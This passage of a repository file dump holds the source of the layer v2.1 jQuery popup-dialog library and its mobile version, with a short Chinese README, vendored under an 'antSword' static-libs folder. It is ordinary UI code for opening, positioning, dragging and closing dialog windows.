class=\"layui-layer-imgtit\"><a href=\"javascript:;\">'+ (data[start].alt||'') +'</a><em>'+ dict.imgIndex +'/'+ data.length +'</em></span></div>'\n                +'</div>'\n            +'</div>',\n            success: function(layero, index){\n                dict.bigimg = layero.find('.layui-layer-phimg');\n                dict.imgsee = layero.find('.layui-layer-imguide,.layui-layer-imgbar');\n                dict.event(layero);\n                options.tab && options.tab(data[start], layero);\n            }, end: function(){\n                dict.end = true;\n                $(document).off('keyup', dict.keyup);\n            }\n        }, options));\n    }, function(){\n        layer.close(dict.loadi);\n        layer.msg('&#x5F53;&#x524D;&#x56FE;&#x7247;&#x5730;&#x5740;&#x5F02;&#x5E38;<br>&#x662F;&#x5426;&#x7EE7;&#x7EED;&#x67E5;&#x770B;&#x4E0B;&#x4E00;&#x5F20;&#xFF1F;', {\n            time: 30000, \n            btn: ['下一张', '不看了'], \n            yes: function(){\n                data.length > 1 && dict.imgnext(true,true);\n            }\n        });\n    });\n};\n\n}();\n"
  },
  {
    "path": "antSword/static/libs/layer/src/layer.js",
    "content": "﻿/*!\n\n @Name：layer v2.1 弹层组件\n @Author：贤心\n @Site：http://layer.layui.com\n @License：LGPL\n        \n */\n\n;!function(window, undefined){\n\"use strict\";\n\nvar $, win, ready = {\n    getPath: function(){\n        var js = document.scripts, script = js[js.length - 1], jsPath = script.src;\n        if(script.getAttribute('merge')) return;\n        return jsPath.substring(0, jsPath.lastIndexOf(\"/\") + 1);\n    }(),\n    \n    //屏蔽Enter触发弹层\n    enter: function(e){\n        if(e.keyCode === 13) e.preventDefault();\n    },\n    config: {}, end: {},\n    btn: ['&#x786E;&#x5B9A;','&#x53D6;&#x6D88;'],\n    \n    //五种原始层模式\n    type: ['dialog', 'page', 'iframe', 'loading', 'tips']\n};\n\n//默认内置方法。\nvar layer = {\n    v: '2.1',\n    ie6: !!window.ActiveXObject&&!window.XMLHttpRequest,\n    index: 0,\n    path: ready.getPath,\n    config: function(options, fn){\n        var item = 0;\n        options = options || {};\n        layer.cache = ready.config = $.extend(ready.config, options);\n        layer.path = ready.config.path || layer.path;\n        typeof options.extend === 'string' && (options.extend = [options.extend]);\n        layer.use('skin/layer.css', (options.extend && options.extend.length > 0) ? (function loop(){\n            var ext = options.extend;\n            layer.use(ext[ext[item] ? item : item-1], item < ext.length ? function(){\n                ++item; \n                return loop;\n            }() : fn);\n        }()) : fn);\n        return this;\n    },\n    \n    //载入配件\n    use: function(module, fn, readyMethod){\n        var i = 0, head = $('head')[0];\n        var module = module.replace(/\\s/g, '');\n        var iscss = /\\.css$/.test(module);\n        var node = document.createElement(iscss ? 'link' : 'script');\n        var id = 'layui_layer_' + module.replace(/\\.|\\//g, '');\n        if(!layer.path) return;\n        if(iscss){\n            node.rel = 'stylesheet';\n        }\n        node[iscss ? 'href' : 'src'] = /^http:\\/\\//.test(module) ? module : layer.path + module;\n        node.id = id;\n        if(!$('#'+ id)[0]){\n            head.appendChild(node);\n        }\n        //轮询加载就绪\n        ;(function poll() {\n            ;(iscss ? parseInt($('#'+id).css('width')) === 1989 : layer[readyMethod||id]) ? function(){\n                fn && fn();\n                try { iscss || head.removeChild(node); } catch(e){};\n            }() : setTimeout(poll, 100);\n        }());\n        return this;\n    },\n    \n    ready: function(path, fn){\n        var type = typeof path === 'function';\n        if(type) fn = path;\n        layer.config($.extend(ready.config, function(){\n           return type ? {} : {path: path};\n        }()), fn);\n        return this;\n    },\n    \n    //各种快捷引用\n    alert: function(content, options, yes){\n        var type = typeof options === 'function';\n        if(type) yes = options;\n        return layer.open($.extend({\n            content: content,\n            yes: yes\n        }, type ? {} : options));\n    }, \n    \n    confirm: function(content, options, yes, cancel){ \n        var type = typeof options === 'function';\n        if(type){\n            cancel = yes;\n            yes = options;\n        }\n        return layer.open($.extend({\n            content: content,\n            btn: ready.btn,\n            yes: yes,\n            cancel: cancel\n        }, type ? {} : options));\n    },\n    \n    msg: function(content, options, end){ //最常用提示层\n        var type = typeof options === 'function', rskin = ready.config.skin;\n        var skin = (rskin ? rskin + ' ' + rskin + '-msg' : '')||'layui-layer-msg';\n        var shift = doms.anim.length - 1;\n        if(type) end = options;\n        return layer.open($.extend({\n            content: content,\n            time: 3000,\n            shade: false,\n            skin: skin,\n            title: false,\n            closeBtn: false,\n            btn: false,\n            end: end\n        }, (type && !ready.config.skin) ? {\n            skin: skin + ' layui-layer-hui',\n            shift: shift\n        } : function(){\n           options = options || {};\n           if(options.icon === -1 || options.icon === undefined && !ready.config.skin){\n               options.skin = skin + ' ' + (options.skin||'layui-layer-hui');\n           }\n           return options;\n        }()));  \n    },\n    \n    load: function(icon, options){\n        return layer.open($.extend({\n            type: 3,\n            icon: icon || 0,\n            shade: 0.01\n        }, options));\n    }, \n    \n    tips: function(content, follow, options){\n        return layer.open($.extend({\n            type: 4,\n            content: [content, follow],\n            closeBtn: false,\n            time: 3000,\n            maxWidth: 210\n        }, options));\n    }\n};\n\nvar Class = function(setings){    \n    var that = this;\n    that.index = ++layer.index;\n    that.config = $.extend({}, that.config, ready.config, setings);\n    that.creat();\n};\n\nClass.pt = Class.prototype;\n\n//缓存常用字符\nvar doms = ['layui-layer', '.layui-layer-title', '.layui-layer-main', '.layui-layer-dialog', 'layui-layer-iframe', 'layui-layer-content', 'layui-layer-btn', 'layui-layer-close'];\ndoms.anim = ['layui-anim', 'layui-anim-01', 'layui-anim-02', 'layui-anim-03', 'layui-anim-04', 'layui-anim-05', 'layui-anim-06'];\n\n//默认配置\nClass.pt.config = {\n    type: 0,\n    shade: 0.3,\n    fix: true,\n    move: doms[1],\n    title: '&#x4FE1;&#x606F;',\n    offset: 'auto',\n    area: 'auto',\n    closeBtn: 1,\n    time: 0, //0表示不自动关闭\n    zIndex: 19891014, \n    maxWidth: 360,\n    shift: 0,\n    icon: -1,\n    scrollbar: true, //是否允许浏览器滚动条\n    tips: 2\n};\n\n//容器\nClass.pt.vessel = function(conType, callback){\n    var that = this, times = that.index, config = that.config;\n    var zIndex = config.zIndex + times, titype = typeof config.title === 'object';\n    var ismax = config.maxmin && (config.type === 1 || config.type === 2);\n    var titleHTML = (config.title ? '<div class=\"layui-layer-title\" style=\"'+ (titype ? config.title[1] : '') +'\">' \n        + (titype ? config.title[0] : config.title) \n    + '</div>' : '');\n    \n    config.zIndex = zIndex;\n    callback([\n        //遮罩\n        config.shade ? ('<div class=\"layui-layer-shade\" id=\"layui-layer-shade'+ times +'\" times=\"'+ times +'\" style=\"'+ ('z-index:'+ (zIndex-1) +'; background-color:'+ (config.shade[1]||'#000') +'; opacity:'+ (config.shade[0]||config.shade) +'; filter:alpha(opacity='+ (config.shade[0]*100||config.shade*100) +');') +'\"></div>') : '',\n        \n        //主体\n        '<div class=\"'+ doms[0] +' '+ (doms.anim[config.shift]||'') + (' layui-layer-'+ready.type[config.type]) + (((config.type == 0 || config.type == 2) && !config.shade) ? ' layui-layer-border' : '') + ' ' + (config.skin||'') +'\" id=\"'+ doms[0] + times +'\" type=\"'+ ready.type[config.type] +'\" times=\"'+ times +'\" showtime=\"'+ config.time +'\" conType=\"'+ (conType ? 'object' : 'string') +'\" style=\"z-index: '+ zIndex +'; width:'+ config.area[0] + ';height:' + config.area[1] + (config.fix ? '' : ';position:absolute;') +'\">'\n            + (conType && config.type != 2 ? '' : titleHTML)\n            +'<div class=\"layui-layer-content'+ ((config.type == 0 && config.icon !== -1) ? ' layui-layer-padding' :'') + (config.type == 3 ? ' layui-layer-loading'+config.icon : '') +'\">'\n                + (config.type == 0 && config.icon !== -1 ? '<i class=\"layui-layer-ico layui-layer-ico'+ config.icon +'\"></i>' : '')\n                + (config.type == 1 && conType ? '' : (config.content||''))\n            +'</div>'\n            + '<span class=\"layui-layer-setwin\">'+ function(){\n                var closebtn = ismax ? '<a class=\"layui-layer-min\" href=\"javascript:;\"><cite></cite></a><a class=\"layui-layer-ico layui-layer-max\" href=\"javascript:;\"></a>' : '';\n                config.closeBtn && (closebtn += '<a class=\"layui-layer-ico '+ doms[7] +' '+ doms[7] + (config.title ? config.closeBtn : (config.type == 4 ? '1' : '2')) +'\" href=\"javascript:;\"></a>');\n                return closebtn;\n            }() + '</span>'\n            + (config.btn ? function(){\n                var button = '';\n                typeof config.btn === 'string' && (config.btn = [config.btn]);\n                for(var i = 0, len = config.btn.length; i < len; i++){\n                    button += '<a class=\"'+ doms[6] +''+ i +'\">'+ config.btn[i] +'</a>'\n                }\n                return '<div class=\"'+ doms[6] +'\">'+ button +'</div>'\n            }() : '')\n        +'</div>'\n    ], titleHTML);\n    return that;\n};\n\n//创建骨架\nClass.pt.creat = function(){\n    var that = this, config = that.config, times = that.index, nodeIndex;\n    var content = config.content, conType = typeof content === 'object';\n    \n    if(typeof config.area === 'string'){\n        config.area = config.area === 'auto' ? ['', ''] : [config.area, ''];\n    }\n    \n    switch(config.type){\n        case 0:\n            config.btn = ('btn' in config) ? config.btn : ready.btn[0];\n            layer.closeAll('dialog');\n        break;\n        case 2:\n            var content = config.content = conType ? config.content : [config.content||'http://layer.layui.com', 'auto'];\n            config.content = '<iframe scrolling=\"'+ (config.content[1]||'auto') +'\" allowtransparency=\"true\" id=\"'+ doms[4] +''+ times +'\" name=\"'+ doms[4] +''+ times +'\" onload=\"this.className=\\'\\';\" class=\"layui-layer-load\" frameborder=\"0\" src=\"' + config.content[0] + '\"></iframe>';\n        break;\n        case 3:\n            config.title = false;\n            config.closeBtn = false;\n            config.icon === -1 && (config.icon === 0);\n            layer.closeAll('loading');\n        break;\n        case 4:\n            conType || (config.content = [config.content, 'body']);\n            config.follow = config.content[1];\n            config.content = config.content[0] + '<i class=\"layui-layer-TipsG\"></i>';\n            config.title = false;\n            config.shade = false;\n            config.fix = false;\n            config.tips = typeof config.tips === 'object' ? config.tips : [config.tips, true];\n            config.tipsMore || layer.closeAll('tips');\n        break;\n    }\n    \n    //建立容器\n    that.vessel(conType, function(html, titleHTML){\n        $('body').append(html[0]);\n        conType ? function(){\n            (config.type == 2 || config.type == 4) ? function(){\n                $('body').append(html[1]);\n            }() : function(){\n                if(!content.parents('.'+doms[0])[0]){\n                    content.show().addClass('layui-layer-wrap').wrap(html[1]);\n                    $('#'+ doms[0] + times).find('.'+doms[5]).before(titleHTML);\n                }\n            }();\n        }() : $('body').append(html[1]);\n        that.layero = $('#'+ doms[0] + times);\n        config.scrollbar || doms.html.css('overflow', 'hidden').attr('layer-full', times);\n    }).auto(times);\n\n    config.type == 2 && layer.ie6 && that.layero.find('iframe').attr('src', content[0]);\n    $(document).off('keydown', ready.enter).on('keydown', ready.enter);\n    that.layero.on('keydown', function(e){\n        $(document).off('keydown', ready.enter);\n    });\n\n    //坐标自适应浏览器窗口尺寸\n    config.type == 4 ? that.tips() : that.offset();\n    if(config.fix){\n        win.on('resize', function(){\n            that.offset();\n            (/^\\d+%$/.test(config.area[0]) || /^\\d+%$/.test(config.area[1])) && that.auto(times);\n            config.type == 4 && that.tips();\n        });\n    }\n    \n    config.time <= 0 || setTimeout(function(){\n        layer.close(that.index)\n    }, config.time);\n    that.move().callback();\n};\n\n//自适应\nClass.pt.auto = function(index){\n    var that = this, config = that.config, layero = $('#'+ doms[0] + index);\n    if(config.area[0] === '' && config.maxWidth > 0){\n        //为了修复IE7下一个让人难以理解的bug\n        if(/MSIE 7/.test(navigator.userAgent) && config.btn){\n            layero.width(layero.innerWidth());\n        }\n        layero.outerWidth() > config.maxWidth && layero.width(config.maxWidth);\n    }\n    var area = [layero.innerWidth(), layero.innerHeight()];\n    var titHeight = layero.find(doms[1]).outerHeight() || 0;\n    var btnHeight = layero.find('.'+doms[6]).outerHeight() || 0;\n    function setHeight(elem){\n        elem = layero.find(elem);\n        elem.height(area[1] - titHeight - btnHeight - 2*(parseFloat(elem.css('padding'))|0));\n    }\n    switch(config.type){\n        case 2: \n            setHeight('iframe');\n        break;\n        default:\n            if(config.area[1] === ''){\n                if(config.fix && area[1] >= win.height()){\n                    area[1] = win.height();\n                    setHeight('.'+doms[5]);\n                }\n            } else {\n                setHeight('.'+doms[5]);\n            }\n        break;\n    }\n    return that;\n};\n\n//计算坐标\nClass.pt.offset = function(){\n    var that = this, config = that.config, layero = that.layero;\n    var area = [layero.outerWidth(), layero.outerHeight()];\n    var type = typeof config.offset === 'object';\n    that.offsetTop = (win.height() - area[1])/2;\n    that.offsetLeft = (win.width() - area[0])/2;\n    if(type){\n        that.offsetTop = config.offset[0];\n        that.offsetLeft = config.offset[1]||that.offsetLeft;\n    } else if(config.offset !== 'auto'){\n        that.offsetTop = config.offset;\n        if(config.offset === 'rb'){ //右下角\n            that.offsetTop = win.height() - area[1];\n            that.offsetLeft = win.width() - area[0];\n        }\n    }\n    if(!config.fix){\n        that.offsetTop = /%$/.test(that.offsetTop) ? \n            win.height()*parseFloat(that.offsetTop)/100\n        : parseFloat(that.offsetTop);\n        that.offsetLeft = /%$/.test(that.offsetLeft) ? \n            win.width()*parseFloat(that.offsetLeft)/100\n        : parseFloat(that.offsetLeft);\n        that.offsetTop += win.scrollTop();\n        that.offsetLeft += win.scrollLeft();\n    }\n    layero.css({top: that.offsetTop, left: that.offsetLeft});\n};\n\n//Tips\nClass.pt.tips = function(){\n    var that = this, config = that.config, layero = that.layero;\n    var layArea = [layero.outerWidth(), layero.outerHeight()], follow = $(config.follow);\n    if(!follow[0]) follow = $('body');\n    var goal = {\n        width: follow.outerWidth(),\n        height: follow.outerHeight(),\n        top: follow.offset().top,\n        left: follow.offset().left\n    }, tipsG = layero.find('.layui-layer-TipsG');\n    \n    var guide = config.tips[0];\n    config.tips[1] || tipsG.remove();\n    \n    goal.autoLeft = function(){\n        if(goal.left + layArea[0] - win.width() > 0){\n            goal.tipLeft = goal.left + goal.width - layArea[0];\n            tipsG.css({right: 12, left: 'auto'});\n        } else {\n            goal.tipLeft = goal.left;\n        };\n    };\n    \n    //辨别tips的方位\n    goal.where = [function(){ //上                \n        goal.autoLeft();\n        goal.tipTop = goal.top - layArea[1] - 10;\n        tipsG.removeClass('layui-layer-TipsB').addClass('layui-layer-TipsT').css('border-right-color', config.tips[1]);\n    }, function(){ //右\n        goal.tipLeft = goal.left + goal.width + 10;\n        goal.tipTop = goal.top;\n        tipsG.removeClass('layui-layer-TipsL').addClass('layui-layer-TipsR').css('border-bottom-color', config.tips[1]); \n    }, function(){ //下\n        goal.autoLeft();\n        goal.tipTop = goal.top + goal.height + 10;\n        tipsG.removeClass('layui-layer-TipsT').addClass('layui-layer-TipsB').css('border-right-color', config.tips[1]);\n    }, function(){ //左\n        goal.tipLeft = goal.left - layArea[0] - 10;\n        goal.tipTop = goal.top;\n        tipsG.removeClass('layui-layer-TipsR').addClass('layui-layer-TipsL').css('border-bottom-color', config.tips[1]);\n    }];\n    goal.where[guide-1]();\n    \n    /* 8*2为小三角形占据的空间 */\n    if(guide === 1){\n        goal.top - (win.scrollTop() + layArea[1] + 8*2) < 0 && goal.where[2]();\n    } else if(guide === 2){\n        win.width() - (goal.left + goal.width + layArea[0] + 8*2) > 0 || goal.where[3]()\n    } else if(guide === 3){\n        (goal.top - win.scrollTop() + goal.height + layArea[1] + 8*2) - win.height() > 0 && goal.where[0]();\n    } else if(guide === 4){\n       layArea[0] + 8*2 - goal.left > 0 && goal.where[1]()\n    }\n\n    layero.find('.'+doms[5]).css({\n        'background-color': config.tips[1], \n        'padding-right': (config.closeBtn ? '30px' : '')\n    });\n    layero.css({left: goal.tipLeft, top: goal.tipTop});\n}\n\n//拖拽层\nClass.pt.move = function(){\n    var that = this, config = that.config, conf = {\n        setY: 0,\n        moveLayer: function(){\n            var layero = conf.layero, mgleft = parseInt(layero.css('margin-left'));\n            var lefts = parseInt(conf.move.css('left'));\n            mgleft === 0 || (lefts = lefts - mgleft);\n            if(layero.css('position') !== 'fixed'){\n                lefts = lefts - layero.parent().offset().left;\n                conf.setY = 0;\n            }\n            layero.css({left: lefts, top: parseInt(conf.move.css('top')) - conf.setY});\n        }\n    };\n    \n    var movedom = that.layero.find(config.move);\n    config.move && movedom.attr('move', 'ok');\n    movedom.css({cursor: config.move ? 'move' : 'auto'});\n    \n    $(config.move).on('mousedown', function(M){    \n        M.preventDefault();\n        if($(this).attr('move') === 'ok'){\n            conf.ismove = true;\n            conf.layero = $(this).parents('.'+ doms[0]);\n            var xx = conf.layero.offset().left, yy = conf.layero.offset().top, ww = conf.layero.outerWidth() - 6, hh = conf.layero.outerHeight() - 6;\n            if(!$('#layui-layer-moves')[0]){\n                $('body').append('<div id=\"layui-layer-moves\" class=\"layui-layer-moves\" style=\"left:'+ xx +'px; top:'+ yy +'px; width:'+ ww +'px; height:'+ hh +'px; z-index:2147483584\"></div>');\n            }\n            conf.move = $('#layui-layer-moves');\n            config.moveType && conf.move.css({visibility: 'hidden'});\n           \n            conf.moveX = M.pageX - conf.move.position().left;\n            conf.moveY = M.pageY - conf.move.position().top;\n            conf.layero.css('position') !== 'fixed' || (conf.setY = win.scrollTop());\n        }\n    });\n    \n    $(document).mousemove(function(M){\n        if(conf.ismove){\n            var offsetX = M.pageX - conf.moveX, offsetY = M.pageY - conf.moveY;\n            M.preventDefault();\n\n            //控制元素不被拖出窗口外\n            if(!config.moveOut){\n                conf.setY = win.scrollTop();\n                var setRig = win.width() - conf.move.outerWidth(), setTop = conf.setY;               \n                offsetX < 0 && (offsetX = 0);\n                offsetX > setRig && (offsetX = setRig); \n                offsetY < setTop && (offsetY = setTop);\n                offsetY > win.height() - conf.move.outerHeight() + conf.setY && (offsetY = win.height() - conf.move.outerHeight() + conf.setY);\n            }\n            \n            conf.move.css({left: offsetX, top: offsetY});    \n            config.moveType && conf.moveLayer();\n            \n            offsetX = offsetY = setRig = setTop = null;\n        }                                                 \n    }).mouseup(function(){\n        try{\n            if(conf.ismove){\n                conf.moveLayer();\n                conf.move.remove();\n                config.moveEnd && config.moveEnd();\n            }\n            conf.ismove = false;\n        }catch(e){\n            conf.ismove = false;\n        }\n    });\n    return that;\n};\n\nClass.pt.callback = function(){\n    var that = this, layero = that.layero, config = that.config;\n    that.openLayer();\n    if(config.success){\n        if(config.type == 2){\n            layero.find('iframe').on('load', function(){\n                config.success(layero, that.index);\n            });\n        } else {\n            config.success(layero, that.index);\n        }\n    }\n    layer.ie6 && that.IE6(layero);\n    \n    //按钮\n    layero.find('.'+ doms[6]).children('a').on('click', function(){\n        var index = $(this).index();\n        config['btn'+(index+1)] && config['btn'+(index+1)](that.index, layero);\n        if(index === 0){\n            config.yes ? config.yes(that.index, layero) : layer.close(that.index);\n        } else if(index === 1){\n            cancel();\n        } else {\n            config['btn'+(index+1)] || layer.close(that.index);\n        }\n    });\n    \n    //取消\n    function cancel(){\n        var close = config.cancel && config.cancel(that.index);\n        close === false || layer.close(that.index);\n    }\n    \n    //右上角关闭回调\n    layero.find('.'+ doms[7]).on('click', cancel);\n    \n    //点遮罩关闭\n    if(config.shadeClose){\n        $('#layui-layer-shade'+ that.index).on('click', function(){\n            layer.close(that.index);\n        });\n    } \n    \n    //最小化\n    layero.find('.layui-layer-min').on('click', function(){\n        layer.min(that.index, config);\n        config.min && config.min(layero);\n    });\n    \n    //全屏/还原\n    layero.find('.layui-layer-max').on('click', function(){\n        if($(this).hasClass('layui-layer-maxmin')){\n            layer.restore(that.index);\n            config.restore && config.restore(layero);\n        } else {\n            layer.full(that.index, config);\n            config.full && config.full(layero);\n        }\n    });\n\n    config.end && (ready.end[that.index] = config.end);\n};\n\n//for ie6 恢复select\nready.reselect = function(){\n    $.each($('select'), function(index , value){\n        var sthis = $(this);\n        if(!sthis.parents('.'+doms[0])[0]){\n            (sthis.attr('layer') == 1 && $('.'+doms[0]).length < 1) && sthis.removeAttr('layer').show(); \n        }\n        sthis = null;\n    });\n}; \n\nClass.pt.IE6 = function(layero){\n    var that = this, _ieTop = layero.offset().top;\n    \n    //ie6的固定与相对定位\n    function ie6Fix(){\n        layero.css({top : _ieTop + (that.config.fix ? win.scrollTop() : 0)});\n    };\n    ie6Fix();\n    win.scroll(ie6Fix);\n\n    //隐藏select\n    $('select').each(function(index , value){\n        var sthis = $(this);\n        if(!sthis.parents('.'+doms[0])[0]){\n            sthis.css('display') === 'none' || sthis.attr({'layer' : '1'}).hide();\n        }\n        sthis = null;\n    });\n};\n\n//需依赖原型的对外方法\nClass.pt.openLayer = function(){\n    var that = this;\n    \n    //置顶当前窗口\n    layer.zIndex = that.config.zIndex;\n    layer.setTop = function(layero){\n        var setZindex = function(){\n            layer.zIndex++;\n            layero.css('z-index', layer.zIndex + 1);\n        };\n        layer.zIndex = parseInt(layero[0].style.zIndex);\n        layero.on('mousedown', setZindex);\n        return layer.zIndex;\n    };\n};\n\nready.record = function(layero){\n    var area = [\n        layero.outerWidth(),\n        layero.outerHeight(),\n        layero.position().top, \n        layero.position().left + parseFloat(layero.css('margin-left'))\n    ];\n    layero.find('.layui-layer-max').addClass('layui-layer-maxmin');\n    layero.attr({area: area});\n};\n\nready.rescollbar = function(index){\n    if(doms.html.attr('layer-full') == index){\n        if(doms.html[0].style.removeProperty){\n            doms.html[0].style.removeProperty('overflow');\n        } else {\n            doms.html[0].style.removeAttribute('overflow');\n        }\n        doms.html.removeAttr('layer-full');\n    }\n};\n\n/** 内置成员 */\n\nwindow.layer = layer;\n\n//获取子iframe的DOM\nlayer.getChildFrame = function(selector, index){\n    index = index || $('.'+doms[4]).attr('times');\n    return $('#'+ doms[0] + index).find('iframe').contents().find(selector);    \n};\n\n//得到当前iframe层的索引，子iframe时使用\nlayer.getFrameIndex = function(name){\n    return $('#'+ name).parents('.'+doms[4]).attr('times');\n};\n\n//iframe层自适应宽高\nlayer.iframeAuto = function(index){\n    if(!index) return;\n    var heg = layer.getChildFrame('html', index).outerHeight();\n    var layero = $('#'+ doms[0] + index);\n    var titHeight = layero.find(doms[1]).outerHeight() || 0;\n    var btnHeight = layero.find('.'+doms[6]).outerHeight() || 0;\n    layero.css({height: heg + titHeight + btnHeight});\n    layero.find('iframe').css({height: heg});\n};\n\n//重置iframe url\nlayer.iframeSrc = function(index, url){\n    $('#'+ doms[0] + index).find('iframe').attr('src', url);\n};\n\n//设定层的样式\nlayer.style = function(index, options){\n    var layero = $('#'+ doms[0] + index), type = layero.attr('type');\n    var titHeight = layero.find(doms[1]).outerHeight() || 0;\n    var btnHeight = layero.find('.'+doms[6]).outerHeight() || 0;\n    if(type === ready.type[1] || type === ready.type[2]){\n        layero.css(options);\n        if(type === ready.type[2]){\n            layero.find('iframe').css({\n                height: parseFloat(options.height) - titHeight - btnHeight\n            });\n        }\n    }\n};\n\n//最小化\nlayer.min = function(index, options){\n    var layero = $('#'+ doms[0] + index);\n    var titHeight = layero.find(doms[1]).outerHeight() || 0;\n    ready.record(layero);\n    layer.style(index, {width: 180, height: titHeight, overflow: 'hidden'});\n    layero.find('.layui-layer-min').hide();\n    layero.attr('type') === 'page' && layero.find(doms[4]).hide();\n    ready.rescollbar(index);\n};\n\n//还原\nlayer.restore = function(index){\n    var layero = $('#'+ doms[0] + index), area = layero.attr('area').split(',');\n    var type = layero.attr('type');\n    layer.style(index, {\n        width: parseFloat(area[0]), \n        height: parseFloat(area[1]), \n        top: parseFloat(area[2]), \n        left: parseFloat(area[3]),\n        overflow: 'visible'\n    });\n    layero.find('.layui-layer-max').removeClass('layui-layer-maxmin');\n    layero.find('.layui-layer-min').show();\n    layero.attr('type') === 'page' && layero.find(doms[4]).show();\n    ready.rescollbar(index);\n};\n\n//全屏\nlayer.full = function(index){\n    var layero = $('#'+ doms[0] + index), timer;\n    ready.record(layero);\n    if(!doms.html.attr('layer-full')){\n        doms.html.css('overflow','hidden').attr('layer-full', index);\n    }\n    clearTimeout(timer);\n    timer = setTimeout(function(){\n        var isfix = layero.css('position') === 'fixed';\n        layer.style(index, {\n             top: isfix ? 0 : win.scrollTop(),\n             left: isfix ? 0 : win.scrollLeft(),\n             width: win.width(),\n             height: win.height()\n        });\n        layero.find('.layui-layer-min').hide();\n    }, 100);\n};\n\n//改变title\nlayer.title = function(name, index){\n    var title = $('#'+ doms[0] + (index||layer.index)).find(doms[1]);\n    title.html(name);\n};\n\n//关闭layer总方法\nlayer.close = function(index){\n    var layero = $('#'+ doms[0] + index), type = layero.attr('type');\n    if(!layero[0]) return;\n    if(type === ready.type[1] && layero.attr('conType') === 'object'){\n        layero.children(':not(.'+ doms[5] +')').remove();\n        for(var i = 0; i < 2; i++){\n            layero.find('.layui-layer-wrap').unwrap().hide();\n        }\n    } else {\n        //低版本IE 回收 iframe\n        if(type === ready.type[2]){\n            try {\n                var iframe = $('#'+doms[4]+index)[0];\n                iframe.contentWindow.document.write('');\n                iframe.contentWindow.close();\n                layero.find('.'+doms[5])[0].removeChild(iframe);\n            } catch(e){}\n        }\n        layero[0].innerHTML = '';\n        layero.remove();\n    }\n    $('#layui-layer-moves, #layui-layer-shade' + index).remove();\n    layer.ie6 && ready.reselect();\n    ready.rescollbar(index);\n    $(document).off('keydown', ready.enter);\n    typeof ready.end[index] === 'function' && ready.end[index]();\n    delete ready.end[index]; \n};\n\n//关闭所有层\nlayer.closeAll = function(type){\n    $.each($('.'+doms[0]), function(){\n        var othis = $(this);\n        var is = type ? (othis.attr('type') === type) : 1;\n        is && layer.close(othis.attr('times'));\n        is = null;\n    });\n};\n\n//主入口\nready.run = function(){\n    $ = jQuery; \n    win = $(window);\n    doms.html = $('html');\n    layer.open = function(deliver){\n        var o = new Class(deliver);\n        return o.index;\n    };\n};\n\n'function' === typeof define ? define(function(){\n    ready.run();\n    return layer;\n}) : function(){\n   ready.run();\n   layer.use('skin/layer.css');\n}();\n\n}(window);"
  },
  {
    "path": "antSword/static/libs/layer/src/mobile/README.md",
    "content": "﻿\n## layer mobole\nlayer mobile是为移动设备（手机、平板等webkit内核浏览器/webview）量身定做的弹层支撑，采用Native JavaScript编写，完全独立于PC版的layer，您需要按照场景选择使用。\n\n[文档与演示](http://sentsin.com/layui/layer/)   \n\n1. 无需依赖任何库，只加载layer.m.js即可\n2. 小巧玲珑，性能卓越、柔情似水…\n3. 具备无以伦比的自适应功能\n4. 灵活的皮肤自定义支撑，充分确保弹层风格多样化\n5. 丰富、科学的接口，让弹弹弹层无所不能\n\n## 备注\n[官网](http://sentsin.com/layui/layer/)、[有问必答](http://say.sentsin.com/home-48.html)"
  },
  {
    "path": "antSword/static/libs/layer/src/mobile/layer.js",
    "content": "/*!\n\n @Name：layer mobile v1.7 弹层组件移动版\n @Author：贤心\n @Date：2015-11-25\n @Copyright：Sentsin Xu(贤心)\n @官网：http://layer.layui.com/mobile/\n @License：MIT\n        \n */\n\n;!function(win){        \n\"use strict\";\n\nvar doc = document, query = 'querySelectorAll', claname = 'getElementsByClassName', S = function(s){\n    return doc[query](s);\n};\n\n//默认配置\nvar config = {\n     type: 0,\n     shade: true,\n     shadeClose: true,\n     fixed: true,\n     anim: true\n};\n\nvar ready = {\n    extend: function(obj){\n        var newobj = JSON.parse(JSON.stringify(config));\n        for(var i in obj){\n            newobj[i] = obj[i];\n        }\n        return newobj;\n    }, \n    timer: {}, end: {}\n};\n\n//点触事件\nready.touch = function(elem, fn){\n    var move;\n    if(!/Android|iPhone|SymbianOS|Windows Phone|iPad|iPod/.test(navigator.userAgent)){\n        return elem.addEventListener('click', function(e){\n            fn.call(this, e);\n        }, false);\n    }\n    elem.addEventListener('touchmove', function(){\n        move = true;\n    }, false);\n    elem.addEventListener('touchend', function(e){\n        e.preventDefault();\n        move || fn.call(this, e);\n        move = false;\n    }, false); \n};\n\nvar index = 0, classs = ['layermbox'], Layer = function(options){\n    var that = this;\n    that.config = ready.extend(options);\n    that.view();\n};\n\nLayer.prototype.view = function(){\n    var that = this, config = that.config, layerbox = doc.createElement('div');\n\n    that.id = layerbox.id = classs[0] + index;\n    layerbox.setAttribute('class', classs[0] + ' ' + classs[0]+(config.type || 0));\n    layerbox.setAttribute('index', index);\n\n    var title = (function(){\n        var titype = typeof config.title === 'object';\n        return config.title\n        ? '<h3 style=\"'+ (titype ? config.title[1] : '') +'\">'+ (titype ? config.title[0] : config.title)  +'</h3><button class=\"layermend\"></button>'\n        : '';\n    }());\n    \n    var button = (function(){\n        var btns = (config.btn || []).length, btndom;\n        if(btns === 0 || !config.btn){\n            return '';\n        }\n        btndom = '<span type=\"1\">'+ config.btn[0] +'</span>'\n        if(btns === 2){\n            btndom = '<span type=\"0\">'+ config.btn[1] +'</span>' + btndom;\n        }\n        return '<div class=\"layermbtn\">'+ btndom + '</div>';\n    }());\n    \n    if(!config.fixed){\n        config.top = config.hasOwnProperty('top') ?  config.top : 100;\n        config.style = config.style || '';\n        config.style += ' top:'+ ( doc.body.scrollTop + config.top) + 'px';\n    }\n    \n    if(config.type === 2){\n        config.content = '<i></i><i class=\"laymloadtwo\"></i><i></i>';\n    }\n    \n    layerbox.innerHTML = (config.shade ? '<div '+ (typeof config.shade === 'string' ? 'style=\"'+ config.shade +'\"' : '') +' class=\"laymshade\"></div>' : '')\n    +'<div class=\"layermmain\" '+ (!config.fixed ? 'style=\"position:static;\"' : '') +'>'\n        +'<div class=\"section\">'\n            +'<div class=\"layermchild '+ (config.className ? config.className : '') +' '+ ((!config.type && !config.shade) ? 'layermborder ' : '') + (config.anim ? 'layermanim' : '') +'\" ' + ( config.style ? 'style=\"'+config.style+'\"' : '' ) +'>'\n                + title\n                +'<div class=\"layermcont\">'+ config.content +'</div>'\n                + button\n            +'</div>'\n        +'</div>'\n    +'</div>';\n    \n    if(!config.type || config.type === 2){\n        var dialogs = doc[claname](classs[0] + config.type), dialen = dialogs.length;\n        if(dialen >= 1){\n            layer.close(dialogs[0].getAttribute('index'))\n        }\n    }\n    \n    document.body.appendChild(layerbox);\n    var elem = that.elem = S('#'+that.id)[0];\n    config.success && 